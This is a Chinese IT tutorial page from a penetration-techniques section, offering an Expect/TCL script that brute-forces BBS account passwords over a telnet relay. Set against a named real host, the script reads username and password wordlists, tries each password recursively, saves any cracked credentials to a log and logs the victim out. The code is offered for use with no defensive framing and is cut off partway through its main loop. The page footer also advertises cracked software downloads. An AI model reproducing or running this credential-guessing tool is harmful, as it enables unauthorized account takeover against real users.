IT教程 | 加入收藏 | 简体 | 繁体
渗透技术:网络技术渗透技术
当前位置: 首页 > 网络安全 > 渗透技术

expect编写的bbs猜密码工具

2012-02-22来源:[www.121ask.com]热度:0℃ 【字体:

  

 bbs的转接功能提供了方便
  expect是TCL语言的一个扩展,在许多平台都有实现,可以去网上找。   例如winnt,win2000,和linux 本例用的是win2000平台下,
如果要用在linux,把文件的路径改成linux下的路径就可以用了把sendlist中的YOURNAME,和PASSWORD改成你自己的登陆用户。

下面是代码:
##cut here###################################
###-----------------------------------------------------------------##
###参量设置
###参量说明:HostName要登陆的机器;userfile用户列表
# wordfile密码列表 logfile结果记录
# offsetfile用户文件当前偏移量 ###-----------------------------------------------------------------###
set HostName "bbs.gznet.com"
set userfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\user-nease.txt"
set wordfile "C:\\Program
Files\\Expect-5.21\\script\\word.txt"
set logfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\log-nease.txt"
set offsetfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\offset.txt"
###-----------------------------------------------------------------###
#Action函数输入expect列表和send列表,然后完成动作过程 #成功返回1,超时返回-1
###----------------------------------------------------------------###
proc Action {ExpectList SendList} {
set listlength [llength $ExpectList];
if {$listlength!=[llength $SendList]} {
puts "the expectlist !=sendlist";
exit 0;}
for {set i 0} {$i<$listlength} {incr i} {
expect {
[lindex $ExpectList $i] {send [lindex $SendList $i];}
timeout {return -1}
}
}
return 1
}
###-----------------------------------------------------------------###
#MyTrap函数在程式被中断时的工作
###-----------------------------------------------------------------###
proc MyTrap {} {
global userfileid
global wordfileid
close $userfileid;
Reset;
exit
}
###-----------------------------------------------------------------###
#SaveToLog函数将猜中的用户和密码保存到文件
###-----------------------------------------------------------------###
proc SaveToLog {user word} {
global logfile
set logfileid [open $logfile a 0600]
puts $logfileid "user=$user password=$word";
close $logfileid;
}
###-----------------------------------------------------------------###
#QuitBbs函数是离开bbs,超时未能离开时,reset,然后返回 -1
###-----------------------------------------------------------------###
proc QuitBbs {} {
send "\r";
expect {
"..." { send "\r\r\r\r\rg\r";
send "!\r\n!\r\n!\r\n!\r\n!\r\n";
} #"!\r\n"是快速离站字符。 timeout {Reset;return -1}
}
}
###-----------------------------------------------------------------###
#Reset函数将旧的进程杀掉,并等待其结束后返回 ###-----------------------------------------------------------------###
proc Reset {} {
global pid;
exp_kill $pid;
expect eof;
wait -1;
}
###-----------------------------------------------------------------###
#Breakinto函数,暴力破解 ###-----------------------------------------------------------------###
proc Breakinto {user wordlist index} {
expect {
"):" {send "$user\r";}
"Connection closed by foreign host" {return 0} #返回0值,说明被正常关闭连接 timeout {Reset;return -1}
}
expect {
"错误的使用者" { send "\r\r"; return 1}
"请输入密码:" { send "[lindex $wordlist $index]\r";}
timeout { Reset;return -1}
}
expect {
"密码输入错误" { return [Breakinto $user $wordlist [expr $index+1]];
#这里是个递归过程
}
"ENTER" { SaveToLog $user [lindex $wordlist $index]; #猜中后,保存
QuitBbs; #并使该用户离开bbs站 return 1
}
timeout {Reset;return -1}
}
}
###-----------------------------------------------------------------###
#TryToLogin函数 从XX bbs站转接到XX站 ###-----------------------------------------------------------------###
proc TryToLogin {user wordlist index} {
expect {
"返回)" { send "15\r";} #这是蓝天到东莞的BBS连接服务
timeout { Reset;return -1;}
}
return [Breakinto $user $wordlist $index];
}
###-----------------------------------------------------------------###
#Go函数是暴力破解的循环主体
#发动过程是:调用TryToLogin函数从XX站的bbs网络连接,循环地用不同用户去连接XX站 #凡是返回-1值,就说明有错,就reset
###-----------------------------------------------------------------###
proc Go {userfileid wordlist} {
global offsetfile
set flag 0;
while {[gets $userfileid user]>0} {
#记录用户文件的偏移量

以上IT文章《expect编写的bbs猜密码工具》由名客技术网[www.121ask.com]提供阅读!
名客技术网是一个免费为广大IT技术人员提供IT教程,绿色软件,asp/php/jsp/java/net等实例视频教程,CMS教程,破解软件下载以及学习相关源码、知识的IT网站。
名客技术网如果无意之中侵犯了您的版权,请来电告知,本站将在3个工作日内删除 QQ:175352796
Copyright 2011-2017 Powered by 121ASK.COM, All Rights Reserved.
备案号:鄂ICP备11013833号-3